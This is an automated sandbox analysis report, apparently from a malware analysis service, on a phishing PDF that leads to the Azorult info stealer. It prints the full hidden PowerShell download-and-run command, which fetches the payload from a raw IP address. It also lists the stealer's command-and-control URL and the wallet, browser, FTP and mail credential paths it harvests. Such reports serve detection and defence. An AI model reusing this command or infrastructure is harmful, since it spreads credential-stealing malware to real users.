Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1280	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Order-63729_Reference.exe, 00000013.00000003.2522293713.0000000000662000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2522293713.000000000066E000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000662000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Order-63729_Reference.exe, 00000013.00000002.2575013793.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kufktcsf.fzd" "C:\Users\user\Downloads\ft6o99.rar"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 00000013.00000003.2574661834.0000000003134000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2574493770.0000000003118000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2573675317.0000000003140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2574244127.0000000003110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order-63729_Reference.exe PID: 7588, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED

Yara detected Azorult Info Stealer

Source: Yara match	File source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order-63729_Reference.exe PID: 7588, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Source: Yara match	File source: 00000013.00000003.2574531853.000000000399C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order-63729_Reference.exe PID: 7588, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	1 Exploitation for Client Execution	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	4 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	11 Process Injection	1 Timestomp	2 Credentials in Registry	23 System Information Discovery	Remote Desktop Protocol	1 Email Collection	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	1 Credentials In Files	1 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Refrence-Order#63729.pdf	3%	ReversingLabs
Refrence-Order#63729.pdf	2%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-console-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-datetime-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-debug-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-errorhandling-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-2-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l2-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-handle-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-heap-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-interlocked-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-libraryloader-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-localization-l1-2-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-memory-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-namedpipe-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processenvironment-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-1.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-profile-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-string-l1-1-0.dll	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
files.catbox.moe	2%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
h8m5b.shop	2%	Virustotal	Browse
x1.i.lencr.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://x1.i.lencr.org/	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ip-api.com/json	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://h8m5b.shop/	2%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://h8m5b.shop/ML341/index.php	9%	Virustotal		Browse
https://dotbit.me/a/	1%	Virustotal		Browse
http://h8m5b.shop/ML341/index.php#	9%	Virustotal		Browse
http://217.160.121.141:8030/5643254657/Order-63729r.exe	8%	Virustotal		Browse
https://files.catbox.moe/ft6o99.rar	2%	Virustotal		Browse
http://h8m5b.shop/ML341/index.phpl	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
files.catbox.moe	108.181.20.39	true	false	2%, Virustotal, Browse	unknown
www.google.com	142.250.184.228	true	false	0%, Virustotal, Browse	unknown
h8m5b.shop	172.67.159.45	true	true	2%, Virustotal, Browse	unknown
x1.i.lencr.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://h8m5b.shop/ML341/index.php	true	9%, Virustotal, Browse	unknown
http://217.160.121.141:8030/5643254657/Order-63729r.exe	true	8%, Virustotal, Browse	unknown
https://files.catbox.moe/ft6o99.rar	false	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.2.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2522293713.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.19.dr	false	0%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpA	Order-63729_Reference.exe, 00000013.00000003.2574514398.0000000002090000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	0%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpers	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr, nssdbm3.dll.19.dr, softokn3.dll.19.dr, mozglue.dll.19.dr, freebl3.dll.19.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpROF	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ip-api.com/json	Order-63729_Reference.exe, 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Order-63729_Reference.exe.18.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com0	Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr, nssdbm3.dll.19.dr, softokn3.dll.19.dr, mozglue.dll.19.dr, freebl3.dll.19.dr	false		unknown
https://dotbit.me/a/	Order-63729_Reference.exe, 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Order-63729_Reference.exe.18.dr	false	1%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/f	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/o	Order-63729_Reference.exe, 00000013.00000003.2522293713.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.phpde	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.phplm	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
https://files.catbox.moe/ft6o99.rar)	Refrence-Order#63729.pdf	false		unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr, nssdbm3.dll.19.dr, softokn3.dll.19.dr, mozglue.dll.19.dr, freebl3.dll.19.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpws_	Order-63729_Reference.exe, 00000013.00000003.2522293713.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.php#	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpc	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpceeZ	Order-63729_Reference.exe, 00000013.00000002.2575013793.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.phpl	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpgra	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2522293713.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpesH	Order-63729_Reference.exe, 00000013.00000002.2575013793.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
